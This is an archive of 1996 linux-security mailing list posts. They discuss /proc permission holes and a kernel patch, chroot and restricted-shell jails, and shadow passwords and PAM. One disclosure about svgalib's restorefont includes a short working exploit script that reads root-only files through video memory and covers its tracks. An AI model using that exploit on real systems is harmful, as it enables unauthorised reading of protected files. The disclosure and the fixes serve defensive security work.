04:56:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA02845; Thu, 4 Jan 1996 04:56:01 -0500 Date: Wed, 3 Jan 1996 20:58:56 -0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Marek Michalkiewicz Cc: [email protected], [email protected] In-Reply-To: Marek Michalkiewicz's message of Wed, 3 Jan 1996 21:33:34 +0100 (MET), <[email protected]> Subject: Re: /proc insecurity Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list From: Marek Michalkiewicz Date: Wed, 3 Jan 1996 21:33:34 +0100 (MET) How about this: for every process track the /proc//mem open count (add a new field to struct task_struct). You can do that using the open/release operations, initialize it to zero for the initial task, and set it to zero for a newly created child process in fork(). Now, if this count is nonzero for the current process, and we try to exec a setuid program, behave as if the process was ptraced: execute it but ignore the setuid and setgid bits. I really prefer the idea of invalidating open file descriptors to /proc//mem over this idea, since making the setuid fail is much more surprising than simply invalidating the fd's to /proc//mem. Invalidating the fd's isn't all that hard. Look at how tty_hangup() in drivers/char/tty_io.c for a model for how to do things. Basically, you just replace the operations structure with one where the read and write calls return EOF or an error. - Ted linux-security/linux-security.960105100664 1767 1767 55566 6073320751 16663 0ustar majdommajdomFrom [email protected] Fri Jan 5 13:37:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA11557; Fri, 5 Jan 1996 13:37:38 -0500 Message-Id: Date: Fri, 5 Jan 96 14:25 GMT From: Ian Jackson To: [email protected], [email protected] Subject: Re: /proc insecurity Newsgroups: chiark.mail.linux-security In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list Marek Michalkiewicz writes ("/proc insecurity"): > As we probably already know, the /proc filesystem still has security > problems. [...] > > 1.2.xx > ====== > > For 1.2.xx, there is an additional problem with /proc permissions > getting out of sync with reality. This has been fixed somewhere in > 1.3.xx, but probably requires too many changes to put it 1.2.xx. > > The only simple fix I can see for 1.2.xx is to make /proc//* > owned by root for all processes. I have done this, and it works. My patch is below. You have to mount the procfs with -o paranoid for it to take effect. I've also prevented /proc//fd from working, as you can otherwise steal filedescriptors in much the same way as you describe. > This may break some things (strace will not show data passed to system > calls using pointers, it will only show the pointers), but at least > you can have a choice: less insecure /proc (default) and a few things > broken slightly, or the old behaviour (using the "insecure" /proc mount > option) if you don't care about security. > > BTW: strace is not a Linux-specific program (the source says it works > on sunos4 too, which has no /proc filesystem) - it should be possible > to modify it so that it does not assume /proc//mem is available. > If it isn't, fall back to using the ptrace system call. Possible? Yes, possible - I even tried it. Unfortunately I couldn't get even the unmodified Debian strace source package to compile on my system. So, in the meantime strace doesn't work properly. *sigh* Ian. diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/base.c linux-1.2.13-procpar/fs/proc/base.c --- linux-1.2.13/fs/proc/base.c Sat Oct 22 15:41:18 1994 +++ linux-1.2.13-procpar/fs/proc/base.c Wed Sep 27 21:35:29 1995 @@ -67,6 +67,13 @@ #define NR_BASE_DIRENTRY ((sizeof (base_dir))/(sizeof (base_dir[0]))) +int proc_paranoid(struct inode *i) { + if (i->i_sb->s_mounted->i_mode & S_ISVTX) + return 1; + else + return 0; +} + int proc_match(int len,const char * name,struct proc_dir_entry * de) { if (!de || !de->low_ino) diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/inode.c linux-1.2.13-procpar/fs/proc/inode.c --- linux-1.2.13/fs/proc/inode.c Tue Aug 1 11:06:57 1995 +++ linux-1.2.13-procpar/fs/proc/inode.c Thu Sep 28 01:52:26 1995 @@ -45,7 +45,7 @@ }; -static int parse_options(char *options,uid_t *uid,gid_t *gid) +static int parse_options(char *options,uid_t *uid,gid_t *gid,mode_t *mode) { char *this_char,*value; @@ -69,6 +69,11 @@ if (*value) return 0; } + else if (!strcmp(this_char,"paranoid")) { + if (value) + return 0; + *mode |= S_ISVTX; /* sticky bit represents paranoia */ + } else return 0; } return 1; @@ -89,7 +94,8 @@ printk("get root inode failed\n"); return NULL; } - parse_options(data, &s->s_mounted->i_uid, &s->s_mounted->i_gid); + parse_options(data, &s->s_mounted->i_uid, &s->s_mounted->i_gid, + &s->s_mounted->i_mode); return s; } @@ -206,22 +212,34 @@ return; case PROC_PID_MEM: inode->i_op = &proc_mem_inode_operations; - inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFREG; + else + inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR; return; case PROC_PID_CWD: case PROC_PID_ROOT: case PROC_PID_EXE: inode->i_op = &proc_link_inode_operations; inode->i_size = 64; - inode->i_mode = S_IFLNK | S_IRWXU; + if (proc_paranoid(inode)) + inode->i_mode = S_IFLNK; + else + inode->i_mode = S_IFLNK | S_IRWXU; return; case PROC_PID_FD: - inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFDIR; + else + inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR; inode->i_op = &proc_fd_inode_operations; inode->i_nlink = 2; return; case PROC_PID_ENVIRON: - inode->i_mode = S_IFREG | S_IRUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFREG; + else + inode->i_mode = S_IFREG | S_IRUSR; inode->i_op = &proc_array_inode_operations; return; case PROC_PID_CMDLINE: @@ -243,10 +261,12 @@ inode->i_op = &proc_link_inode_operations; inode->i_size = 64; inode->i_mode = S_IFLNK; - if (p->files->fd[ino]->f_mode & 1) - inode->i_mode |= S_IRUSR | S_IXUSR; - if (p->files->fd[ino]->f_mode & 2) - inode->i_mode |= S_IWUSR | S_IXUSR; + if (!proc_paranoid(inode)) { + if (p->files->fd[ino]->f_mode & 1) + inode->i_mode |= S_IRUSR | S_IXUSR; + if (p->files->fd[ino]->f_mode & 2) + inode->i_mode |= S_IWUSR | S_IXUSR; + } return; } return; diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/link.c linux-1.2.13-procpar/fs/proc/link.c --- linux-1.2.13/fs/proc/link.c Mon Jan 23 21:04:10 1995 +++ linux-1.2.13-procpar/fs/proc/link.c Wed Sep 27 20:29:52 1995 @@ -76,6 +76,10 @@ if (fd>=NR_OPEN) return -ENOENT; /* should never happen */ + if (proc_paranoid(inode) && !suser()) { + return -EPERM; + } + ino = inode->i_ino; pid = ino >> 16; ino &= 0x0000ffff; diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/include/linux/proc_fs.h linux-1.2.13-procpar/include/linux/proc_fs.h --- linux-1.2.13/include/linux/proc_fs.h Sun Feb 12 19:11:02 1995 +++ linux-1.2.13-procpar/include/linux/proc_fs.h Wed Sep 27 21:35:29 1995 @@ -129,4 +129,6 @@ extern struct inode_operations proc_link_inode_operations; extern struct inode_operations proc_fd_inode_operations; +extern int proc_paranoid(struct inode *i); + #endif From [email protected] Fri Jan 5 17:09:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12761; Fri, 5 Jan 1996 17:09:45 -0500 Message-ID: <[email protected]> Date: Fri, 22 Dec 1995 16:33:00 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: restorefont security hole Sender: [email protected] Precedence: list Linux's svgalib utility restorefont, required to be suid root, has a problem in that it does not revoke suid permissions before reading a file. Similar bugs may exist in other svgalib utilities. The restorefont utility serves two functions. First, it will read a font from a file and write it to the console as the vga font. Second, it will read a font from the console and write it out to a file. Luckily, the specific bug in restorefont can only be exploited if someone is at the console, reducing its overall impact on the security of the system as a whole. In writing the utilities, the authors are aware of the fact that when writing out the font, suid permissions must first be given up; it is in fact commented as such in the code. However, when reading in a font, the program is still running with full suid root permissions. This allows us to read in any file for the font that root has access to (anything on a local fs). The applicable code to read in the file in restorefont is shown below: #define FONT_SIZE 8192 unsigned char font[FONT_SIZE]; if (argv[1][1] == 'r') { FILE *f; f = fopen(argv[2], "rb"); if (f == NULL) { error: perror("restorefont"); exit(1); } if(1!=fread(font, FONT_SIZE, 1, f)) { if(errno) goto error; puts("restorefont: input file corrupted."); exit(1); } fclose(f); We can see from this that the file to be read in has to be at least 8k, as if it is not, the program will produce an error and exit. If the file is at least 8k, the first 8k are read into the buffer, and the program proceeds to set whatever the contents of the file are to the font: vga_disabledriverreport(); vga_setchipset(VGA); /* avoid SVGA detection */ vga_init(); vga_setmode(G640x350x16); vga_puttextfont(font); vga_setmode(TEXT); At this point, the console will now look quite unreadable if you are reading something other than a font from that file. But, the data that is put into the font is left untouched and is readable using the -w option of restorefont. We then read the font back from video memory to a new file, and our job is complete, we have read the first 8k of a file we shouldn't have had access to. To prevent detection of having run this, we probably shouldn't leave an unreadable font on the screen, so we save and then restore the original font before reading from the file. The complete exploit is shown below: Program: restorefont, a svgalib utility Affected Operating Systems: linux - Slackware 3.0, others with svgalib Requirements: logged in at console Temporary Patch: chmod -s /usr/bin/restorefont Security Compromise: user can read first 8k of any file of at least 8k in size on local filesystems Author: Dave M. ([email protected]) Synopsis: restorefont reads a font file while suid root, writing it to video memory as the current vga font; anyone at console can read the current font to a file, allowing you to use video memory as an 8k file buffer. rfbug.sh: #!/bin/sh # This shell script exploits a problem with restorefont # it reads a file into the video memory as the vga font # and then writes the file back out from video memory # thus allowing any user at console to read 8k of any file # on a local filesystem. # # Usage: rfbug.sh filename-to-read filename-to-write # # Dave M. ([email protected]) # restorefont -w /tmp/deffont.tmp restorefont -r $1 restorefont -w $2 restorefont -r /tmp/deffont.tmp rm -f /tmp/deffont.tmp From [email protected] Fri Jan 5 17:10:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12792; Fri, 5 Jan 1996 17:10:15 -0500 Date: Thu, 4 Jan 1996 09:30:29 -0500 Message-Id: <[email protected]> From: Grant Taylor To: [email protected] Cc: [email protected], Linux Security Mailing List In-reply-to: [email protected]'s message of Wed, 3 Jan 1996 18:54:14 -0500 (EST) Subject: Re: about chroot. References: <[email protected]> Sender: [email protected] Precedence: list > [I am CC'ing this to linux-security mailing list. -- Alex] >> Umm.. there are no users on a system without the programs. Are you saying >> you can't chroot his shell? You have to fiddle a bit, and it is not as >> 'secure' as it could be, but chroot will work. If modifying some scripts and >> variables, chrooting a coupla programs, etc.. Is not enough, then you >> obviously have a user on your hands that should not be on the system. [Rehash of chroot man page deleted] > If you want to lock out a user from the ability to execute all commands > but a specific set, the better solution would be to create a special > group, make that user a member of it; make everybody else a member of a > group "users"; make all directories that contain binaries that should not > be executed by restricted user owned Has rsh been mentioned yet? It's the usual solution to this problem. I know that pdksh has an rsh mode, and bash can supposedly be compiled in rsh mode. -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Two out of three Americans believe in the existence of Satan. 37 percent say they have been tempted by the devil. -- http://www.sfgate.com/examiner/new/stories/NEWS-13388.html From [email protected] Fri Jan 5 17:10:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12805; Fri, 5 Jan 1996 17:10:24 -0500 Date: Thu, 4 Jan 1996 10:45:56 -0500 (EST) From: "Alexander O. Yuriev" To: Grant Taylor cc: [email protected], [email protected], Linux Security Mailing List Subject: Re: about chroot. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: quoting trimmed. --okir] On Thu, 4 Jan 1996, Grant Taylor wrote: > Has rsh been mentioned yet? It's the usual solution to this problem. > I know that pdksh has an rsh mode, and bash can supposedly be compiled > in rsh mode. The rule number one here has to be "never assume". If restricted shells were more or less "stable" in what they can restrict the jail-type environents would have been described in every single book about Unix system administration. Using restricted shell assumes that one can totally control the environment in which the program executes. That is very hard to achieve if user has an ability to modify the environment, for example is able to create files. A set of processes that can be generated by the locked user should be always known not to be able to create a possibility for a new, unknow process to be generated. If one gives user in such environment access to any kind of command that could be used to "copy" a file (including but not limited to cp, cat and shell redirection), there is a very strong possibility that the locked users could be able to create a new executable file. Finally, there are *toolkits* that are designed to allow one to escape from such environments. If your locked user has access to such toolkit (and they are not so hard to find), your feeling of security ("He is in a restricted shell, what can he do!?") would create a very dangerous sense of security. Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Fri Jan 5 17:10:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12828; Fri, 5 Jan 1996 17:10:47 -0500 Date: Thu, 4 Jan 1996 13:31:30 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: about chroot. Cc: [email protected], [email protected] Sender: [email protected] Precedence: list I once had to set up a group of users in a "chroot"ed area, long ago on a planet not very far away. Yes, you do have to copy virtually everything in a raw Unix / Linux / POSIX system, to get a normal user environment - except, of course, the programs, data, services, etc. to which you're not giving those users access. Since the latter will probably be very few things, the amount of stuff copied will use a lot of disk space. Be warned. You then have to add back in anything that is specially installed on your system, such as applications. Do you only have a license to install one copy of the application? Is your license manager file-based rather than network-based, so that you can't properly manage licenses on both top-level and lower-level areas? Look out. Do you need to do some file initialization on boot-up in the chroot'ed area, that just always gets done by default from your /etc/rc* or /etc/rc*/* files in the top-level area? Such as clearing the utmp file? You'd better make sure that it gets done. You should give chroot'ed accounts to any support people that will have to try and figure out why "X" doesn't work in the chroot'ed area, when it is working just fine in the top-level area. We had one account to which people had to log in, which chroot'ed to the restricted area and then ran 'login' again. The second login read in the information from the restricted /etc/passwd! If you don't do this, then the passwords and other information set by the users in the restricted area will not be reflected in the top-level passwd file! There may have been other reasons for doing it this way, but that's one that jumps out at me. This was done with all the releases of System V that were available for the VAX-11/78X systems. One thing I remember doing was incorporating TCP/IP networking. The version we used was based on files in /dev/. After I fixed a lot of things, it worked perfectly with other BSD-based systems. However, we didn't move the /dev/net* files to the restricted area, so networking was unavailable - a plus in this instance! With modern systems, BSD-based sockets are used: I don't know how you'd keep the users off the network, in that case. Perhaps chroot'ed processes should also be allowed to bear flags that tells whether the various network services are available to them. But this requires mods to the kernel and all systems utilities that use the modified structures. I could do that back then; but it's not so easy, these days. (Unless you're only responsible for a single system, the users are docile, and it's a Linux system. Not necessarily easy even then.) Also, in System V, the 'lp' program communicated with the 'lpd' daemon via a FIFO. I had to set up a system that passed data from the FIFO in the restricted area back up to the top-level area, with some transla- tion (e.g., when printing a file named /home/joe/file, change it to /restricted/home/joe/file) and some local interpretation. In most modern systems, BSD-based 'lpr' systems are used, which communicate via sockets. As mentioned in the last paragraph, this may be an advantage or a disadvantage, depending on whether you wanted to restrict access or not. Mail also communicated via FIFOs. Again, I set up a system to pass data up to the mail daemon top-level. I also had to set up something to put mail in the restricted level, using proper file locking (the definition of which seems to have changed with each implementation of a mail system that I've seen) to avoid conflicts with people reading mail, while not blocking and holding up other incoming mail. I know I had to change this a few times to accommodate unforeseen problems, but my memory is fuzzy on details. Also again, on BSD-based systems mail uses sockets, so outgoing mail is not restricted by 'chroot'; but you will still have to worry about incoming mail for restricted users, and mail between the restricted and top-level users on the same system. There may have been some other subsystems that required special-purpose programs to pass data between the levels; but my memory is a bit hazy on that by now. In general, if you set up a data flow diagram for all programs on your system (a massive undertaking!), you may be able to see what programs might need special treatment to work properly. More practically, if you look at the dozen programs your users are likely to use all the time, and analyze those, you should be mostly OK. If anything breaks after people start using the restricted area, you can do a normal fire drill to get it fixed. Another consideration: think about whether, for your purposes, you should have a top-level "shadow" home directory for each of your users in the restricted area, or whether you should just list them in your /etc/passwd file as having home directories /restricted/home/joe (e.g.). The problem with the latter is with system programs that read files in the home directory: file names in those files will (typically) NOT point to the restricted file system! This will make some things break for the restricted users; it's also a way for them to surreptitiously gain access (indirectly) to the top-level file system. The problem with the former comes when people try to access files in (e.g.) ~joe: this would refer to the "shadow" directory, instead of the real directory. On the whole, I consider that less of a problem. Yet another consideration, and then I should stop and get back to my paid work. Consider the collection of data for both accounting and security purposes. Programs running wholly in the restricted area won't be able to log anything to the top-level area. Again, "syslog" these days is mostly socket-based; but what about shell accounting? What about those clever shell scripts you call from /etc/profile? (Assuming that you use the Korn shell: the C shell doesn't seem to have a consistently-named equivalent across implementations.) I embedded a few lines of code in the Korn shell so that all accounting information and some security information went up via, yes, another FIFO. I didn't allow use of any other shell, monster that I am. (The only other shell then available on S5 was the Bourne shell, unless I took the time and trouble to compile csh for them, which I didn't, since there was no demand for it.) I'm not sure that we worried completely about keeping utmp and wtmp updated on the top-level system: this may be a concern for you. X-based GUIs, being network-based, may pose a problem to you that I didn't even consider back then. I hope this helps. I know that this reply is also addressed to a couple of mailing lists; so the list administrators will determine whether this is on-topic. I just felt that you all should know that there's more to setting up a restricted environment that just tossing a 'chroot' in somewhere. Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960108100664 1767 1767 5126 6074242666 16642 0ustar majdommajdomFrom [email protected] Mon Jan 8 11:26:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA28832; Mon, 8 Jan 1996 11:26:28 -0500 Message-Id: Date: Sat, 6 Jan 96 18:59 GMT From: Ian Jackson To: Linux Security list Subject: Re: /proc insecurity Sender: [email protected] Precedence: list (Oops, resending this because I got the address wrong.) [Mod: Old ("wrong") headers removed. --Jeff.] Aaron Ucko writes ("Re: /proc insecurity"): > [Ian Jackson wrote:] > > Marek Michalkiewicz writes ("/proc insecurity"): > > > As we probably already know, the /proc filesystem still has security > > > problems. [...] > > > > ... > > > The only simple fix I can see for 1.2.xx is to make /proc//* > > > owned by root for all processes. > > > > I have done this, and it works. My patch is below. You have to mount > > the procfs with -o paranoid for it to take effect. > > > > I've also prevented /proc//fd from working, as you can otherwise > > steal filedescriptors in much the same way as you describe. > ... > > Aren't less draconian measures possible? "There's gotta be a better way." These measures may be draconian, but they are demonstrably secure. There is a strong tendency here to say "ah, but in situation XYZ this is OK", and to construct very complicated mechanisms. This is simply not good enough, because your security then depends on you having designed and implemented all of the complicated security mechanisms correctly and not overlooking anything. I'm worried that in 1.3.x it won't be easy to show to someone that /proc isn't harmful to their security, in the way that it is easy for me to show someone that my patched 1.2 isn't a security hole. Why should I believe it is secure if you can't easily show it to me ? > Was the problem that you couldn't compile it or that it segfaulted when > you tried to run it? If it was the latter, the problem is due to a > symbol clash I noticed and reported to its maintainer (Rick Sladkin), > but who hasn't released a fixed version yet: Both strace and libc > have functions called syscall; the library attempts to call strace's > version and crashes. (The solution, of course, involves renaming > syscall in strace.) I couldn't compile it. The number of symbol clashes &c with system header files was tremendous. Perhaps I was doing something wrong, but this is a Debian source package so you're *supposed* just to be able to type `make -f debian.rules build'. Ian. linux-security/linux-security.960110100664 1767 1767 35654 6075051365 16657 0ustar majdommajdomFrom [email protected] Wed Jan 10 11:59:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07475; Wed, 10 Jan 1996 11:59:28 -0500 Message-Id: Date: Wed, 10 Jan 96 14:02 GMT From: Ian Jackson To: Linux Security list Subject: Password checking - JFH the way forward ? Sender: [email protected] Precedence: list [Mod: I'd like to ask that all replies to this post go to the author, Ian Jackson, rather than to the list. Early-comers to this list will probably remember the thread on shadow passwords that Would Not Die. I'd like to avoid that problem this time (though Ian's post is *not* a rehash of the old advocacy arguments). Ian, if you could summarize any good feedback that you get in response to this and post it to the list as a follow-up, I'm sure that it would be appreciated. --Jeff.] 0. Introduction I've been having a (to my mind) rather unsatisfactory email exchange with the Linux maintainer of the (JFH) shadow password suite, and I thought I'd try saying some of the things here that I don't seem to be expressing well there. It will be obvious to everyone that the current state of the "API" for password checking is far from ideal. I use the quotes because there is not so much an API for password checking as a set of interfaces for getting the information needed to do the check yourself. It seems to me that if we are going to change anything we should consider carefully where we would like to get to. We should borrow (or if necessary design) a good API that is easy to use, and then try to get it used within the Linux community. 1. Idealisation Designing a good password-checking API is very simple: what the programmer wants is a function that tells them whether a password is correct, and the call needs the username that the password is thought to belong to. So we end up with a function: int status= check_password(char *username, char *password); This would transparently support long passwords, if we provide a #define in which specifies the length that programs should use for their internal buffer. Now, funnily enough someone has already implemented this API: SunOS4 has: int pwdauth(char *user, char *password); According to the manpage this returns "0" for "OK". It doesn't say what kind of error returns it gives; I'd propose "1" for "wrong password" and "-1" (with errno) for "system call failure". I therefore propose that this API should be implemented for Linux in the libc in the obvious way. The code is pretty trivial. Sun have implemented pwdauth by having it do an RPC call to a hopefully-permanently-running daemon which is the cause of many system failures, but I'm not suggesting we do it that way. For reasons best known to Sun, pwdauth doesn't seem to be present in Solaris 2. The maximum length of a password should probably be _PASSWORD_LEN, which is also used by getpass(3). According to the manpage on my system that's set to 128 at the moment. 2. Backwards compatibility There is one small problem with the approach above: if we want to use it to move towards shadow passwords and longer passwords we have to change and recompile every program that does password checking. I have devised a scheme that will allow (practially?) all existing binaries which do password checking to continue to function in the presence of shadow passwords. Programs which set passwords will have to have a minor change made. The scheme works by replacing crypt() with a host-specific function that can only be computed by privileged programs; unprivileged ones have to get the computation done for them. The replacement version of crypt functions as follows: it looks at the first character of the salt. If it is not a "$" then the usual crypt function is computed. If it is a "$" then the second character is used as an index into a table of host-specific magic secret numbers in /etc (most hosts would only need one such number; the possibility to have several is there so that the number can be changed without having to reset all user passwords). The crypt function then computes MD5(,)[1], discards all but the first 64 bits and returns them base-64-encoded in the usual fashion of crypt(3). [1] here is the argument from the crypt call. Password-changing programs would need to be modified to look up the most recent (preferably the first) entry from the magic cookies file, and to set the salt to "$" followed by its index, so that the crypt function will use the "shadowed" version of crypt. If they do not do this then the program will produce non-shadow passwords. When crypt was running unprivileged it should contact a permanently-running daemon via a Unix-domain socket and get it to do the encryption. This allows unprivileged programs to check passwords, without giving them access to the shadowing information. A daemon is better than a setuid program, because it is easier to write correctly, easier for the system administrator to turn off and on, and makes it easier to limit the rate at which enquiries are made. Note that the shadowing information is in the per-host keys file, not in the passwd file, whose format and organisation remain unchanged apart from the change to the way the encrypted password field is used by crypt. If crypt fails to open the key file or contact the daemon it could perhaps call exit, or do a normal crypt and then set the first character to a *, or something. Unfortunately there is no way to indicate to a program that crypt has failed, because a standard version of crypt can never fail. 3. JFH's shadow suite I'm told that JFH's shadow suite has had many of its copyright problems resolved. However, that doesn't tell us whether it is a good thing. Using JFH-style shadow passwords requires every password checking program to be changed and recompiled to use getspent instead of getpwent, and to understand the shadow password mechanism. So, we have to put in the effort required to change all of these programs, but we still don't end up with a generalised flexible API which is independent of the cryptographic or other mechanisms used, and the next time we want to change something it will all happen again. It is true that JFH's shadow suite contains password ageing and other potentially useful features. To support these it is simple to retain the getspent interface of JFH's library, but we must mandate that programs using getspent do *not* assume that they can check the password using the information they get from getspent. 4. Conclusions * We should implement pwdauth() ASAP, and start converting programs to use it. * If we want shadowing on systems where not all of the programs have been changed to support pwdauth we should use my scheme above. * We should support JFH's shadow suite only for password ageing and similar features; these are minority applications (and have debateable merits in security terms) and so should go on the back burner. Ian. From [email protected] Wed Jan 10 16:08:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA08554; Wed, 10 Jan 1996 16:08:29 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: Password checking - JFH the way forward ? To: [email protected] (Ian Jackson) Date: Wed, 10 Jan 1996 22:03:42 +0100 (MET) Cc: [email protected] In-Reply-To: from "Ian Jackson" at Jan 10, 96 02:02:00 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Note: please send replies to me and Ian, not to the list, to save the moderators some work. I can summarize any good feedback, too. Since I am the current maintainer of the Linux port of the JFH's shadow password suite, perhaps I should say something in my defense here. I'm not going to rehash the old advocacy arguments either. First of all, I don't know why our exchange was unsatisfactory for Ian. We disagree on some points, but I think there is nothing wrong with it, and no one of us is always absolutely right... Some facts about the JFH's shadow suite: - the "API" it implements, while not ideal, is compatible with the SVR4 standard; this means that most reasonably current portable sources should already support that, and in most cases they will need only some Makefile editing; if necessary, I can help with this - just contact me. - shadow passwords are supported by the current ELF libc, and you don't need any other libraries to write shadow-aware applications; it is also easy to do it in such a way that the same binaries work with both shadow and non-shadow passwords. - many people use the shadow suite, and are familiar with it, it is the defacto Linux standard (it was not supported by distributions in the past for copyright reasons, but that can change now), people have scripts that depend on it, some BBS programs depend on useradd etc. - the shadow suite, while still beta (it has problems too), has many new features not supported by the standard util-linux programs used by most distributions. Now, I can see it isn't fun to recompile all password-checking programs, and the Ian's proposal should make it possible to support shadow passwords transparently, but I can see one sometimes quite serious problem with it: We store our encrypted passwords in a completely different way, and can't easily share them with other systems. It is possible to share them with Linux systems using that scheme, but there is no easy way to modify libc on non-Linux systems to implement the same scheme. Another thing that is debatable - should we try to make everything ideal, or maybe stick to existing standards well known for a few years now? Maybe I am a bit conservative, but I would prefer the latter. I doubt the SVR4 shadow password API will change again in the near future, and if we want to support other authentication schemes (for example S/Key), the pwdauth() API is probably not general enough. If we want to modify libc and be sure that all old binaries still work, it would be necessary to implement (and maintain) the changes in the old no longer maintained a.out libc as well. If we do it only for ELF, then there are not many old binaries... I think both schemes (the Ian's transparent shadow password support, and the JFH's SVR4-compatible shadow passwords) can probably be implemented at the same time, and should be optional. Maybe this is the solution we all can agree on? Again, discussion is welcome, please send replies both to me and Ian (not to the list). I can post a summary if there are enough interesting replies. Regards, Marek From [email protected] Wed Jan 10 18:59:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA09279; Wed, 10 Jan 1996 18:59:47 -0500 Date: Wed, 10 Jan 1996 16:54:35 -0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Ian Jackson Cc: Linux Security list In-Reply-To: Ian Jackson's message of Wed, 10 Jan 96 14:02 GMT, Subject: Re: Password checking - JFH the way forward ? Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list [To the Moderator: I know you asked that replies go to Ian, but I think this is important enough that people on the list see it. It's also only somewhat tangentially related to Ian's article, anyway. -- Ted] Ian was talking about designing a new password-checking API. Actually, there's an emerging standard for an interface that handles password-checking, password changing, login session account management, etc. It's called Pluggable Authentication Modules, and it was proposed by SunSoft, although it's since gotten acceptance from a number of standards and industry consortium bodies, including OSF and the Common Desktop people. The advantage of this scheme is that if you code your application to use PAM, it's possible to *dynamically* (via a config file and dynamically linked libraries using dlopen()), to add or change how /bin/login works. This could mean adding shadow passwords, or it could mean adding Kerberos support. It could also allow you to mount a remote filesystem as your home directory during the login sequence. (This is done for example at MIT's Project Athena environment. With PAM, it allows us to do all of our Athena customizations without needing to recompile any vendor binaries!) That is PAM's nicest feature ---- by dropping in a library and making a change to configuration file, *all* applications (login, telnetd, rlogind, ftpd, etc.) that had been linked with the PAM library could be changed at one fell swoop to start using Kerberos, S/Key, Shaddow Passwords, etc --- without needing to recompile anything! I think that developing a PAM library for Linux would be a Good Thing. I don't have a lot of time right now, though, but if there's someone who does have time, please send me e-mail. I'd be happy to help coordinate and lend design assistance --- I just don't have enough coding time to do this myself. Thanks!! - Ted Ref: (By the way OTP is the new generic term for S/Key(tm), which is a trademark of Bellcore. This is taken from the IETF OTP working group, which is working to make S/Key an Internet standard.) X-Mailer: exmh version 1.6.2 7/18/95 To: [email protected], [email protected] Subject: PAM overview Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Tue, 12 Dec 1995 15:18:00 -0500 From: Bill Sommerfeld -----BEGIN PGP SIGNED MESSAGE----- content-type: text/plain; charset=us-ascii I made reference to PAM (the SunSoft "pluggable authentication module" interface for UNIX and UNIX-like systems) during Phil Servita's presentation during the OTP WG meeting. It is my understanding that a number of UNIX systems vendors will shortly be shipping systems which provide a PAM interface to allow system administrators to plug in their own login-time authentication modules. I suspect that a PAM OTP module would be fairly straightforward to construct. I did some digging and found the following URL, which is OSF RFC 86.0: http://www.pilgrim.umass.edu/pub/osf_dce/RFC/rfc86.0.txt According to Walt Tuvell of OSF, as an employee of an OSF member, I am free to distribute this document to anyone. Note that I have nothing to do with PAM directly; send comments about the draft to the authors, not me.. - Bill -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMM3jaFpj/0M1dMJ/AQHxHwP9HvblruM3JxqgrI5PYRq3yvUbqXaYIeW6 5p06jq+/eUltWHrEB02PWnp2Xz0kgQ6x+KixrdoSQTsNvvNPiLucIu+7IZjEXuQ/ mCbCEJsi9MTsEGDMbkMAhOySzcfBcdeBgNckDVTXc041dYmNoiLVRdp7uIdHQJr+ 9MhP8y+Bkxw= =kjTu -----END PGP SIGNATURE----- linux-security/linux-security.960111100664 1767 1767 1766 6075247543 16642 0ustar majdommajdomFrom [email protected] Thu Jan 11 12:56:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA13036; Thu, 11 Jan 1996 12:56:49 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Shadow development mailing list To: [email protected] Date: Thu, 11 Jan 1996 18:53:25 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Most of us probably already know about this, but... There is a mailing list for the development of the shadow suite and related issues. I think (Jeff and Olaf will 